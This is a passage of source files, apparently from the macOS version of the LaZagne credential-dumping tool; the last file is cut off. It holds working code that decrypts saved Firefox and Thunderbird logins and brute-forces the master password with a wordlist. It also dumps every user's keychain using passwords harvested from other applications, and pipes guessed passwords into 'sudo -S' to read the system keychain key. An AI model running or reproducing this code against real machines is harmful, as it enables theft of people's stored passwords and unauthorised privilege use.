\"\"\"\n        Extract records from a BSD DB 1.85, hash mode\n        Obsolete with Firefox 58.0.2 and NSS 3.35, as key4.db (SQLite) is used\n        \"\"\"\n        with open(name, 'rb') as f:\n            # http://download.oracle.com/berkeley-db/db.1.85.tar.gz\n            header = f.read(4 * 15)\n            magic = self.get_long_be(header, 0)\n            if magic != 0x61561:\n                self.warning(u'Bad magic number')\n                return False\n\n            version = self.get_long_be(header, 4)\n            if version != 2:\n                self.warning(u'Bad version !=2 (1.85)')\n                return False\n\n            pagesize = self.get_long_be(header, 12)\n            nkeys = self.get_long_be(header, 0x38)\n            readkeys = 0\n            page = 1\n            db1 = []\n\n            while readkeys < nkeys:\n                f.seek(pagesize * page)\n                offsets = f.read((nkeys + 1) * 4 + 2)\n                offset_vals = []\n                i = 0\n                nval = 0\n                val = 1\n                keys = 0\n\n                while nval != val:\n                    keys += 1\n                    key = self.get_short_le(offsets, 2 + i)\n                    val = self.get_short_le(offsets, 4 + i)\n                    nval = self.get_short_le(offsets, 8 + i)\n                    offset_vals.append(key + pagesize * page)\n                    offset_vals.append(val + pagesize * page)\n                    readkeys += 1\n                    i += 4\n\n                offset_vals.append(pagesize * (page + 1))\n                val_key = sorted(offset_vals)\n                for i in range(keys * 2):\n                    f.seek(val_key[i])\n                    data = f.read(val_key[i + 1] - val_key[i])\n                    db1.append(data)\n                page += 1\n\n        db = {}\n        for i in range(0, len(db1), 2):\n            db[db1[i + 1]] = db1[i]\n\n        return db\n\n    @staticmethod\n    def decrypt_3des(decoded_item, master_password, global_salt):\n        \"\"\"\n        User master key is also encrypted (if provided, the master_password could be used to encrypt it)\n        \"\"\"\n        # See http://www.drh-consultancy.demon.co.uk/key3.html\n        pbeAlgo = str(decoded_item[0][0][0])\n        if pbeAlgo == '1.2.840.113549.1.12.5.1.3': # pbeWithSha1AndTripleDES-CBC\n            entry_salt = decoded_item[0][0][1][0].asOctets()\n            cipher_t = decoded_item[0][1].asOctets()\n\n            # See http://www.drh-consultancy.demon.co.uk/key3.html\n            hp = sha1(global_salt + master_password).digest()\n            pes = entry_salt + convert_to_byte('\\x00') * (20 - len(entry_salt))\n            chp = sha1(hp + entry_salt).digest()\n            k1 = hmac.new(chp, pes + entry_salt, sha1).digest()\n            tk = hmac.new(chp, pes, sha1).digest()\n            k2 = hmac.new(chp, tk + entry_salt, sha1).digest()\n            k = k1 + k2\n            iv = k[-8:]\n            key = k[:24]\n            return triple_des(key, CBC, iv).decrypt(cipher_t)\n        \n        # New version\n        elif pbeAlgo == '1.2.840.113549.1.5.13': # pkcs5 pbes2\n\n            assert str(decoded_item[0][0][1][0][0]) == '1.2.840.113549.1.5.12'\n            assert str(decoded_item[0][0][1][0][1][3][0]) == '1.2.840.113549.2.9'\n            assert str(decoded_item[0][0][1][1][0]) == '2.16.840.1.101.3.4.1.42'\n            # https://tools.ietf.org/html/rfc8018#page-23\n            entry_salt = decoded_item[0][0][1][0][1][0].asOctets()\n            iteration_count = int(decoded_item[0][0][1][0][1][1])\n            key_length = int(decoded_item[0][0][1][0][1][2])\n            assert key_length == 32 \n\n            k = sha1(global_salt + master_password).digest()\n            key = pbkdf2_hmac('sha256', k, entry_salt, iteration_count, dklen=key_length)    \n\n            # https://hg.mozilla.org/projects/nss/rev/fc636973ad06392d11597620b602779b4af312f6#l6.49\n            iv = b'\\x04\\x0e' + decoded_item[0][0][1][1][1].asOctets()\n            # 04 is OCTETSTRING, 0x0e is length == 14\n            encrypted_value = decoded_item[0][1].asOctets()\n            aes = AESModeOfOperationCBC(key, iv=iv)\n            cleartxt = b\"\".join([aes.decrypt(encrypted_value[i:i + AES_BLOCK_SIZE])\n                             for i in range(0, len(encrypted_value), AES_BLOCK_SIZE)])\n\n            return cleartxt\n\n    def extract_secret_key(self, key_data, global_salt, master_password, entry_salt):\n\n        if unhexlify('f8000000000000000000000000000001') not in key_data:\n            return None\n\n        priv_key_entry = key_data[unhexlify('f8000000000000000000000000000001')]\n        salt_len = o(priv_key_entry[1])\n        name_len = o(priv_key_entry[2])\n        priv_key_entry_asn1 = decoder.decode(priv_key_entry[3 + salt_len + name_len:])\n        # data = priv_key_entry[3 + salt_len + name_len:]\n        # self.print_asn1(data, len(data), 0)\n\n        # See https://github.com/philsmd/pswRecovery4Moz/blob/master/pswRecovery4Moz.txt\n        priv_key = self.decrypt_3des(priv_key_entry_asn1, master_password, global_salt)\n        # self.print_asn1(priv_key, len(priv_key), 0)\n        priv_key_asn1 = decoder.decode(priv_key)\n        pr_key = priv_key_asn1[0][2].asOctets()\n        # self.print_asn1(pr_key, len(pr_key), 0)\n        pr_key_asn1 = decoder.decode(pr_key)\n        # id = pr_key_asn1[0][1]\n        key = long_to_bytes(pr_key_asn1[0][3])\n        return key\n\n    @staticmethod\n    def decode_login_data(data):\n        asn1data = decoder.decode(b64decode(data))  # First base64 decoding, then ASN1DERdecode\n        # For login and password, keep :(key_id, iv, ciphertext)\n        return asn1data[0][0].asOctets(), asn1data[0][1][1].asOctets(), asn1data[0][2].asOctets()\n\n    def get_login_data(self, profile):\n        \"\"\"\n        Get encrypted data (user / password) and host from the json or sqlite files\n        \"\"\"\n        conn = sqlite3.connect(os.path.join(profile, 'signons.sqlite'))\n        logins = []\n        c = conn.cursor()\n        try:\n            c.execute('SELECT * FROM moz_logins;')\n        except sqlite3.OperationalError:  # Since Firefox 32, json is used instead of sqlite3\n            try:\n                logins_json = os.path.join(profile, 'logins.json')\n                if os.path.isfile(logins_json):\n                    with open(logins_json) as f:\n                        loginf = f.read()\n                        if loginf:\n                            json_logins = json.loads(loginf)\n                            if 'logins' not in json_logins:\n                                self.debug('No logins key in logins.json')\n                                return logins\n                            for row in json_logins['logins']:\n                                enc_username = row['encryptedUsername']\n                                enc_password = row['encryptedPassword']\n                                logins.append((self.decode_login_data(enc_username),\n                                               self.decode_login_data(enc_password), row['hostname']))\n                            return logins\n            except Exception:\n                self.debug(traceback.format_exc())\n                return []\n\n        # Using sqlite3 database\n        for row in c:\n            enc_username = row[6]\n            enc_password = row[7]\n            logins.append((self.decode_login_data(enc_username), self.decode_login_data(enc_password), row[1]))\n        return logins\n\n    def manage_masterpassword(self, master_password=b'', key_data=None, new_version=True):\n        \"\"\"\n        Check if a master password is set.\n        If so, try to find it using a dictionary attack\n        \"\"\"\n        (global_salt, master_password, entry_salt) = self.is_master_password_correct(master_password=master_password,\n                                                                                     key_data=key_data,\n                                                                                     new_version=new_version)\n\n        if not global_salt:\n            self.info(u'Master Password is used !')\n            (global_salt, master_password, entry_salt) = self.brute_master_password(key_data=key_data,\n                                                                                    new_version=new_version)\n            if not master_password:\n                return '', '', ''\n\n        return global_salt, master_password, entry_salt\n\n    def is_master_password_correct(self, key_data, master_password=b'', new_version=True):\n        try:\n            entry_salt = b\"\"\n            if not new_version:\n                # See http://www.drh-consultancy.demon.co.uk/key3.html\n                pwd_check = key_data.get(b'password-check')\n                if not pwd_check:\n                    return '', '', ''\n                # Hope not breaking something (not tested for old version)\n                # entry_salt_len = o(pwd_check[1])\n                # entry_salt = pwd_check[3: 3 + entry_salt_len]\n                # encrypted_passwd = pwd_check[-16:]\n                global_salt = key_data[b'global-salt']\n\n            else:\n                global_salt = key_data[0]  # Item1\n                item2 = key_data[1]\n                # self.print_asn1(item2, len(item2), 0)\n                # SEQUENCE {\n                # \tSEQUENCE {\n                # \t\tOBJECTIDENTIFIER 1.2.840.113549.1.12.5.1.3\n                # \t\tSEQUENCE {\n                # \t\t\tOCTETSTRING entry_salt_for_passwd_check\n                # \t\t\tINTEGER 01\n                # \t\t}\n                # \t}\n                # \tOCTETSTRING encrypted_password_check\n                # }\n                decoded_item2 = decoder.decode(item2)\n\n            cleartext_data = self.decrypt_3des(decoded_item2, master_password, global_salt)\n            if cleartext_data != convert_to_byte('password-check\\x02\\x02'):\n                return '', '', ''\n\n            return global_salt, master_password, entry_salt\n        except Exception:\n            self.debug(traceback.format_exc())\n            return '', '', ''\n\n    def brute_master_password(self, key_data, new_version=True):\n        \"\"\"\n        Try to find master_password doing a dictionary attack using the 500 most used passwords\n        \"\"\"\n        wordlist = constant.passwordFound + get_dic()\n        num_lines = (len(wordlist) - 1)\n        self.info(u'%d most used passwords !!! ' % num_lines)\n\n        for word in wordlist:\n            global_salt, master_password, entry_salt = self.is_master_password_correct(key_data=key_data,\n                                                                                       master_password=word.strip(),\n                                                                                       new_version=new_version)\n            if master_password:\n                self.info(u'Master password found: {}'.format(master_password))\n                return global_salt, master_password, entry_salt\n\n        self.warning(u'No password has been found using the default list')\n        return '', '', ''\n\n    @staticmethod\n    def remove_padding(self, data):\n        \"\"\"\n        Remove PKCS#7 padding\n        \"\"\"\n        try:\n            nb = struct.unpack('B', data[-1])[0]  # Python 2\n        except Exception:\n            nb = data[-1]  # Python 3\n\n        try:\n            return data[:-nb]\n        except Exception:\n            self.debug(traceback.format_exc())\n            return data\n\n    def decrypt(self, key, iv, ciphertext):\n        \"\"\"\n        Decrypt ciphered data (user / password) using the key previously found\n        \"\"\"\n        data = triple_des(key, CBC, iv).decrypt(ciphertext)\n        return self.remove_padding(data)\n\n    def run(self):\n        \"\"\"\n        Main function\n        \"\"\"\n        if os.path.exists(self.path):\n\n            pwd_found = []\n            for profile in self.get_firefox_profiles(self.path):\n                self.info(u'Profile path found: {profile}'.format(profile=profile))\n\n                credentials = self.get_login_data(profile)\n                if credentials:\n                    for key in self.get_key(profile):\n                        for user, password, url in credentials:\n                            try:\n                                pwd_found.append({\n                                    'URL': url,\n                                    'Login': self.decrypt(key=key, iv=user[1], ciphertext=user[2]).decode(\"utf-8\"),\n                                    'Password': self.decrypt(key=key, iv=password[1], ciphertext=password[2]).decode(\"utf-8\"),\n                                })\n                            except Exception as e:\n                                self.debug(u'An error occurred decrypting the password: {error}'.format(error=e))\n                else:\n                    self.info(u'Database empty')\n\n            return pwd_found\n"
  },
  {
    "path": "Mac/lazagne/softwares/mails/__init__.py",
    "content": ""
  },
  {
    "path": "Mac/lazagne/softwares/mails/thunderbird.py",
    "content": "from lazagne.config.module_info import ModuleInfo\nfrom lazagne.softwares.browsers.mozilla import Mozilla\nimport os\n\nclass Thunderbird(Mozilla):\n\n    def __init__(self):\n        self.path = u\"~/Library/Thunderbird\"\n        ModuleInfo.__init__(self, 'Thunderbird', 'mails')\n"
  },
  {
    "path": "Mac/lazagne/softwares/system/__init__.py",
    "content": ""
  },
  {
    "path": "Mac/lazagne/softwares/system/chainbreaker.py",
    "content": "# -*- coding: utf-8 -*- \n# !/usr/bin/python\n\n# Awesome work done by @n0fate\n# check the chainbreaker tool: https://github.com/n0fate/chainbreaker\n\nimport subprocess\nimport binascii\nimport traceback\n\nfrom lazagne.softwares.system.chainbreaker_module.chainbreaker import *\nfrom lazagne.config.module_info import ModuleInfo\nfrom lazagne.config.constant import constant\n\nimport os\n\n\nclass ChainBreaker(ModuleInfo):\n    def __init__(self):\n        ModuleInfo.__init__(self, 'chainbreaker', 'system')\n\n    def list_users(self):\n        users_dir = '/Users'\n        users_list = []\n        if os.path.exists(users_dir):\n            for user in os.listdir(users_dir):\n                if user != 'Shared' and not user.startswith('.'):\n                    users_list.append(user)\n\n        return users_list\n\n    def list_keychains(self, keychains_path):\n        keychains = []\n        if os.path.exists(keychains_path):\n            for f in os.listdir(keychains_path):\n                if 'keychain' in f:\n                    keychains.append(os.path.join(keychains_path, f))\n        return keychains\n\n    def run(self):\n        pwd_found = []\n        # all passwords found on other applications\n        passwords = constant.passwordFound\n        # password entered by the user using the --password parameter\n        if constant.user_password:\n            passwords.insert(0, constant.user_password)\n\n        # System keychain\n        keychains = self.list_keychains('/Library/Keychains/')\n\n        # Users keychains\n        for user in self.list_users():\n            keychains += self.list_keychains('/Users/{user}/Library/Keychains/'.format(user=user))\n\n        # system key needs admin privilege to open the file\n        system_key = ''\n        try:\n            # try to open it (suppose the file has bad privilege or that the tool is launched with sudo rights)\n            key = open('/private/var/db/SystemKey').read()\n            system_key = binascii.hexlify(str(key[8:32])).upper()\n        except Exception as e:\n            self.debug('SystemKey file could not be openned: {error}'.format(error=str(e)))\n            try:\n                # try to open the file using a password found (supposing a password is also used as a system password)\n                for pwd in passwords:\n                    c = 'sudo hexdump -e \\'16/1 \"%02x\" \"\"\\' -s 8 -n 24 /private/var/db/SystemKey |' \\\n                        'xargs python -c \\'import sys;print sys.argv[1].upper()\\''\n                    cmd = 'echo {password}|sudo -S {cmd}'.format(password=pwd, cmd=c)\n\n                    p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n                    stdout, stderr = p.communicate()\n                    if stdout:\n                        system_key = stdout.strip()\n                        self.info('SystemKey found ({system_key}) with sudo password {pwd}'.format(\n                            system_key=system_key, pwd=pwd))\n                        break\n            except Exception:\n                pass\n\n        for keychain in keychains:\n            pwd_ok = False\n            for password in passwords:\n                self.debug('Trying to dump keychain {keychain} with password {password}'.format(\n                    keychain=keychain,\n                    password=password)\n                )\n                try:\n                    creds = dump_creds(keychain, password=str(password))\n                    if creds:\n                        pwd_found += creds\n                        pwd_ok = True\n                        constant.keychains_pwd.append(\n                            {\n                                'Keychain': keychain,\n                                'Password': str(password)\n                            }\n                        )\n                except Exception:\n                    self.error('Check the password entered, this one not work (pwd: %s)' % str(password))\n                    self.error(traceback.format_exc())\n\n                if pwd_ok:\n                    break\n\n            if system_key and not pwd_ok:\n                try:\n                    creds = dump_creds(keychain, key=str(system_key))\n                    if creds:\n                        pwd_found += creds\n                        pwd_ok = True\n                        constant.keychains_pwd.append(\n                            {\n                                'Keychain': keychain,\n                                'System Key': str(system_key)\n                            }\n                        )\n                except Exception:\n                    self.error('Check the system key found, this one not work (key: %s)' % str(system_key))\n                    self.debug(traceback.format_exc())\n\n        # keep in memory all passwords stored on the keychain\n        constant.keychains_pwds = pwd_found\n\n        return pwd_found\n"
  },
  {
    "path": "Mac/lazagne/softwares/system/chainbreaker_module/Schema.py",
    "content": "# http://web.mit.edu/darwin/src/modules/Security/cdsa/cdsa/cssmtype.h\nKEY_TYPE = {\n    0x00 + 0x0F: 'CSSM_KEYCLASS_PUBLIC_KEY',\n    0x01 + 0x0F: 'CSSM_KEYCLASS_PRIVATE_KEY',\n    0x02 + 0x0F: 'CSSM_KEYCLASS_SESSION_KEY',\n    0x03 + 0x0F: 'CSSM_KEYCLASS_SECRET_PART',\n    0xFFFFFFFF: 'CSSM_KEYCLASS_OTHER'\n}\n\nCSSM_ALGORITHMS = {\n    0: 'CSSM_ALGID_NONE',\n    1: 'CSSM_ALGID_CUSTOM',\n    2: 'CSSM_ALGID_DH',\n    3: 'CSSM_ALGID_PH',\n    4: 'CSSM_ALGID_KEA',\n    5: 'CSSM_ALGID_MD2',\n    6: 'CSSM_ALGID_MD4',\n    7: 'CSSM_ALGID_MD5',\n    8: 'CSSM_ALGID_SHA1',\n    9: 'CSSM_ALGID_NHASH',\n    10: 'CSSM_ALGID_HAVAL:',\n    11: 'CSSM_ALGID_RIPEMD',\n    12: 'CSSM_ALGID_IBCHASH',\n    13: 'CSSM_ALGID_RIPEMAC',\n    14: 'CSSM_ALGID_DES',\n    15: 'CSSM_ALGID_DESX',\n    16: 'CSSM_ALGID_RDES',\n    17: 'CSSM_ALGID_3DES_3KEY_EDE',\n    18: 'CSSM_ALGID_3DES_2KEY_EDE',\n    19: 'CSSM_ALGID_3DES_1KEY_EEE',\n    20: 'CSSM_ALGID_3DES_3KEY_EEE',\n    21: 'CSSM_ALGID_3DES_2KEY_EEE',\n    22: 'CSSM_ALGID_IDEA',\n    23: 'CSSM_ALGID_RC2',\n    24: 'CSSM_ALGID_RC5',\n    25: 'CSSM_ALGID_RC4',\n    26: 'CSSM_ALGID_SEAL',\n    27: 'CSSM_ALGID_CAST',\n    28: 'CSSM_ALGID_BLOWFISH',\n    29: 'CSSM_ALGID_SKIPJACK',\n    30: 'CSSM_ALGID_LUCIFER',\n    31: 'CSSM_ALGID_MADRYGA',\n    32: 'CSSM_ALGID_FEAL',\n    33: 'CSSM_ALGID_REDOC',\n    34: 'CSSM_ALGID_REDOC3',\n    35: 'CSSM_ALGID_LOKI',\n    36: 'CSSM_ALGID_KHUFU',\n    37: 'CSSM_ALGID_KHAFRE',\n    38: 'CSSM_ALGID_MMB',\n    39: 'CSSM_ALGID_GOST',\n    40: 'CSSM_ALGID_SAFER',\n    41: 'CSSM_ALGID_CRAB',\n    42: 'CSSM_ALGID_RSA',\n    43: 'CSSM_ALGID_DSA',\n    44: 'CSSM_ALGID_MD5WithRSA',\n    45: 'CSSM_ALGID_MD2WithRSA',\n    46: 'CSSM_ALGID_ElGamal',\n    47: 'CSSM_ALGID_MD2Random',\n    48: 'CSSM_ALGID_MD5Random',\n    49: 'CSSM_ALGID_SHARandom',\n    50: 'CSSM_ALGID_DESRandom',\n    51: 'CSSM_ALGID_SHA1WithRSA',\n    52: 'CSSM_ALGID_CDMF',\n    53: 'CSSM_ALGID_CAST3',\n    54: 'CSSM_ALGID_CAST5',\n    55: 'CSSM_ALGID_GenericSecret',\n    56: 'CSSM_ALGID_ConcatBaseAndKey',\n    57: 'CSSM_ALGID_ConcatKeyAndBase',\n    58: 'CSSM_ALGID_ConcatBaseAndData',\n    59: 'CSSM_ALGID_ConcatDataAndBase',\n    60: 'CSSM_ALGID_XORBaseAndData',\n    61: 'CSSM_ALGID_ExtractFromKey',\n    62: 'CSSM_ALGID_SSL3PreMasterGen',\n    63: 'CSSM_ALGID_SSL3MasterDerive',\n    64: 'CSSM_ALGID_SSL3KeyAndMacDerive',\n    65: 'CSSM_ALGID_SSL3MD5_MAC',\n    66: 'CSSM_ALGID_SSL3SHA1_MAC',\n    67: 'CSSM_ALGID_PKCS5_PBKDF1_MD5',\n    68: 'CSSM_ALGID_PKCS5_PBKDF1_MD2',\n    69: 'CSSM_ALGID_PKCS5_PBKDF1_SHA1',\n    70: 'CSSM_ALGID_WrapLynks',\n    71: 'CSSM_ALGID_WrapSET_OAEP',\n    72: 'CSSM_ALGID_BATON',\n    73: 'CSSM_ALGID_ECDSA',\n    74: 'CSSM_ALGID_MAYFLY',\n    75: 'CSSM_ALGID_JUNIPER',\n    76: 'CSSM_ALGID_FASTHASH',\n    77: 'CSSM_ALGID_3DES',\n    78: 'CSSM_ALGID_SSL3MD5',\n    79: 'CSSM_ALGID_SSL3SHA1',\n    80: 'CSSM_ALGID_FortezzaTimestamp',\n    81: 'CSSM_ALGID_SHA1WithDSA',\n    82: 'CSSM_ALGID_SHA1WithECDSA',\n    83: 'CSSM_ALGID_DSA_BSAFE',\n    84: 'CSSM_ALGID_ECDH',\n    85: 'CSSM_ALGID_ECMQV',\n    86: 'CSSM_ALGID_PKCS12_SHA1_PBE',\n    87: 'CSSM_ALGID_ECNRA',\n    88: 'CSSM_ALGID_SHA1WithECNRA',\n    89: 'CSSM_ALGID_ECES',\n    90: 'CSSM_ALGID_ECAES',\n    91: 'CSSM_ALGID_SHA1HMAC',\n    92: 'CSSM_ALGID_FIPS186Random',\n    93: 'CSSM_ALGID_ECC',\n    94: 'CSSM_ALGID_MQV',\n    95: 'CSSM_ALGID_NRA',\n    96: 'CSSM_ALGID_IntelPlatformRandom',\n    97: 'CSSM_ALGID_UTC',\n    98: 'CSSM_ALGID_HAVAL3',\n    99: 'CSSM_ALGID_HAVAL4',\n    100: 'CSSM_ALGID_HAVAL5',\n    101: 'CSSM_ALGID_TIGER',\n    102: 'CSSM_ALGID_MD5HMAC',\n    103: 'CSSM_ALGID_PKCS5_PBKDF2',\n    104: 'CSSM_ALGID_RUNNING_COUNTER',\n    0x7FFFFFFF: 'CSSM_ALGID_LAST'\n}\n\n# CSSM TYPE\n## http://www.opensource.apple.com/source/libsecurity_cssm/libsecurity_cssm-36064/lib/cssmtype.h\n\n########## CSSM_DB_RECORDTYPE #############\n\n# /* Industry At Large Application Name Space Range Definition */\n# /* AppleFileDL record types. */\nCSSM_DB_RECORDTYPE_APP_DEFINED_START = 0x80000000\nCSSM_DL_DB_RECORD_GENERIC_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0\nCSSM_DL_DB_RECORD_INTERNET_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 1\nCSSM_DL_DB_RECORD_APPLESHARE_PASSWORD = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 2\nCSSM_DL_DB_RECORD_USER_TRUST = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 3\nCSSM_DL_DB_RECORD_X509_CRL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 4\nCSSM_DL_DB_RECORD_UNLOCK_REFERRAL = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 5\nCSSM_DL_DB_RECORD_EXTENDED_ATTRIBUTE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 6\n\nCSSM_DL_DB_RECORD_X509_CERTIFICATE = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x1000\nCSSM_DL_DB_RECORD_METADATA = CSSM_DB_RECORDTYPE_APP_DEFINED_START + 0x8000  ## DBBlob\nCSSM_DB_RECORDTYPE_APP_DEFINED_END = 0xffffffff\n\n# /* Record Types defined in the Schema Management Name Space */\nCSSM_DB_RECORDTYPE_SCHEMA_START = 0x00000000\nCSSM_DL_DB_SCHEMA_INFO = CSSM_DB_RECORDTYPE_SCHEMA_START + 0\nCSSM_DL_DB_SCHEMA_INDEXES = CSSM_DB_RECORDTYPE_SCHEMA_START + 1\nCSSM_DL_DB_SCHEMA_ATTRIBUTES = CSSM_DB_RECORDTYPE_SCHEMA_START + 2\nCSSM_DL_DB_SCHEMA_PARSING_MODULE = CSSM_DB_RECORDTYPE_SCHEMA_START + 3\nCSSM_DB_RECORDTYPE_SCHEMA_END = CSSM_DB_RECORDTYPE_SCHEMA_START + 4\n\n# /* Record Types defined in the Open Group Application Name Space */\n# /* Open Group Application Name Space Range Definition*/\nCSSM_DB_RECORDTYPE_OPEN_GROUP_START = 0x0000000A\nCSSM_DL_DB_RECORD_ANY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 0\nCSSM_DL_DB_RECORD_CERT = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 1\nCSSM_DL_DB_RECORD_CRL = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 2\nCSSM_DL_DB_RECORD_POLICY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 3\nCSSM_DL_DB_RECORD_GENERIC = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 4\nCSSM_DL_DB_RECORD_PUBLIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 5\nCSSM_DL_DB_RECORD_PRIVATE_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 6\nCSSM_DL_DB_RECORD_SYMMETRIC_KEY = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 7\nCSSM_DL_DB_RECORD_ALL_KEYS = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8\nCSSM_DB_RECORDTYPE_OPEN_GROUP_END = CSSM_DB_RECORDTYPE_OPEN_GROUP_START + 8\n#####################\n\n######## KEYUSE #########\nCSSM_KEYUSE_ANY = 0x80000000\nCSSM_KEYUSE_ENCRYPT = 0x00000001\nCSSM_KEYUSE_DECRYPT = 0x00000002\nCSSM_KEYUSE_SIGN = 0x00000004\nCSSM_KEYUSE_VERIFY = 0x00000008\nCSSM_KEYUSE_SIGN_RECOVER = 0x00000010\nCSSM_KEYUSE_VERIFY_RECOVER = 0x00000020\nCSSM_KEYUSE_WRAP = 0x00000040\nCSSM_KEYUSE_UNWRAP = 0x00000080\nCSSM_KEYUSE_DERIVE = 0x00000100\n####################\n\n############ CERT TYPE ##############\nCERT_TYPE = {\n    0x00: 'CSSM_CERT_UNKNOWN',\n    0x01: 'CSSM_CERT_X_509v1',\n    0x02: 'CSSM_CERT_X_509v2',\n    0x03: 'CSSM_CERT_X_509v3',\n    0x04: 'CSSM_CERT_PGP',\n    0x05: 'CSSM_CERT_SPKI',\n    0x06: 'CSSM_CERT_SDSIv1',\n    0x08: 'CSSM_CERT_Intel',\n    0x09: 'CSSM_CERT_X_509_ATTRIBUTE',\n    0x0A: 'CSSM_CERT_X9_ATTRIBUTE',\n    0x0C: 'CSSM_CERT_ACL_ENTRY',\n    0x7FFE: 'CSSM_CERT_MULTIPLE',\n    0x7FFF: 'CSSM_CERT_LAST',\n    0x8000: 'CSSM_CL_CUSTOM_CERT_TYPE'\n}\n####################################\n\n########### CERT ENCODING #############\nCERT_ENCODING = {\n    0x00: 'CSSM_CERT_ENCODING_UNKNOWN',\n    0x01: 'CSSM_CERT_ENCODING_CUSTOM',\n    0x02: 'CSSM_CERT_ENCODING_BER',\n    0x03: 'CSSM_CERT_ENCODING_DER',\n    0x04: 'CSSM_CERT_ENCODING_NDR',\n    0x05: 'CSSM_CERT_ENCODING_SEXPR',\n    0x06: 'CSSM_CERT_ENCODING_PGP',\n    0x7FFE: 'CSSM_CERT_ENCODING_MULTIPLE',\n    0x7FFF: 'CSSM_CERT_ENCODING_LAST'\n}\n\nSTD_APPLE_ADDIN_MODULE = {\n    '{87191ca0-0fc9-11d4-849a-000502b52122}': 'CSSM itself',\n    '{87191ca1-0fc9-11d4-849a-000502b52122}': 'File based DL (aka \"Keychain DL\")',\n    '{87191ca2-0fc9-11d4-849a-000502b52122}': 'Core CSP (local space)',\n    '{87191ca3-0fc9-11d4-849a-000502b52122}': 'Secure CSP/DL (aka \"Keychain CSPDL\")',\n    '{87191ca4-0fc9-11d4-849a-000502b52122}': 'X509 Certificate CL',\n    '{87191ca5-0fc9-11d4-849a-000502b52122}': 'X509 Certificate TP',\n    '{87191ca6-0fc9-11d4-849a-000502b52122}': 'DLAP/OpenDirectory access DL',\n    '{87191ca7-0fc9-11d4-849a-000502b52122}': 'TP for \".mac\" related policies',\n    '{87191ca8-0fc9-11d4-849a-000502b52122}': 'Smartcard CSP/DL',\n    '{87191ca9-0fc9-11d4-849a-000502b52122}': 'DL for \".mac\" certificate access'\n}\n\nSECURE_STORAGE_GROUP = 'ssgp'\n\nAUTH_TYPE = {\n    'ntlm': 'kSecAuthenticationTypeNTLM',\n    'msna': 'kSecAuthenticationTypeMSN',\n    'dpaa': 'kSecAuthenticationTypeDPA',\n    'rpaa': 'kSecAuthenticationTypeRPA',\n    'http': 'kSecAuthenticationTypeHTTPBasic',\n    'httd': 'kSecAuthenticationTypeHTTPDigest',\n    'form': 'kSecAuthenticationTypeHTMLForm',\n    'dflt': 'kSecAuthenticationTypeDefault',\n    '': 'kSecAuthenticationTypeAny',\n    '\\x00\\x00\\x00\\x00': 'kSecAuthenticationTypeAny'\n}\n\nPROTOCOL_TYPE = {\n    'ftp ': 'kSecProtocolTypeFTP',\n    'ftpa': 'kSecProtocolTypeFTPAccount',\n    'http': 'kSecProtocolTypeHTTP',\n    'irc ': 'kSecProtocolTypeIRC',\n    'nntp': 'kSecProtocolTypeNNTP',\n    'pop3': 'kSecProtocolTypePOP3',\n    'smtp': 'kSecProtocolTypeSMTP',\n    'sox ': 'kSecProtocolTypeSOCKS',\n    'imap': 'kSecProtocolTypeIMAP',\n    'ldap': 'kSecProtocolTypeLDAP',\n    'atlk': 'kSecProtocolTypeAppleTalk',\n    'afp ': 'kSecProtocolTypeAFP',\n    'teln': 'kSecProtocolTypeTelnet',\n    'ssh ': 'kSecProtocolTypeSSH',\n    'ftps': 'kSecProtocolTypeFTPS',\n    'htps': 'kSecProtocolTypeHTTPS',\n    'htpx': 'kSecProtocolTypeHTTPProxy',\n    'htsx': 'kSecProtocolTypeHTTPSProxy',\n    'ftpx': 'kSecProtocolTypeFTPProxy',\n    'cifs': 'kSecProtocolTypeCIFS',\n    'smb ': 'kSecProtocolTypeSMB',\n    'rtsp': 'kSecProtocolTypeRTSP',\n    'rtsx': 'kSecProtocolTypeRTSPProxy',\n    'daap': 'kSecProtocolTypeDAAP',\n    'eppc': 'kSecProtocolTypeEPPC',\n    'ipp ': 'kSecProtocolTypeIPP',\n    'ntps': 'kSecProtocolTypeNNTPS',\n    'ldps': 'kSecProtocolTypeLDAPS',\n    'tels': 'kSecProtocolTypeTelnetS',\n    'imps': 'kSecProtocolTypeIMAPS',\n    'ircs': 'kSecProtocolTypeIRCS',\n    'pops': 'kSecProtocolTypePOP3S',\n    'cvsp': 'kSecProtocolTypeCVSpserver',\n    'svn ': 'kSecProtocolTypeCVSpserver',\n    'AdIM': 'kSecProtocolTypeAdiumMessenger',\n    '\\x00\\x00\\x00\\x00': 'kSecProtocolTypeAny'\n}\n\n# This is somewhat gross: we define a bunch of module-level constants based on\n# the SecKeychainItem.h defines (FourCharCodes) by passing them through\n# struct.unpack and converting them to ctypes.c_long() since we'll never use\n# them for non-native APIs\n\nCARBON_DEFINES = {\n    'cdat': 'kSecCreationDateItemAttr',\n    'mdat': 'kSecModDateItemAttr',\n    'desc': 'kSecDescriptionItemAttr',\n    'icmt': 'kSecCommentItemAttr',\n    'crtr': 'kSecCreatorItemAttr',\n    'type': 'kSecTypeItemAttr',\n    'scrp': 'kSecScriptCodeItemAttr',\n    'labl': 'kSecLabelItemAttr',\n    'invi': 'kSecInvisibleItemAttr',\n    'nega': 'kSecNegativeItemAttr',\n    'cusi': 'kSecCustomIconItemAttr',\n    'acct': 'kSecAccountItemAttr',\n    'svce': 'kSecServiceItemAttr',\n    'gena': 'kSecGenericItemAttr',\n    'sdmn': 'kSecSecurityDomainItemAttr',\n    'srvr': 'kSecServerItemAttr',\n    'atyp': 'kSecAuthenticationTypeItemAttr',\n    'port': 'kSecPortItemAttr',\n    'path': 'kSecPathItemAttr',\n    'vlme': 'kSecVolumeItemAttr',\n    'addr': 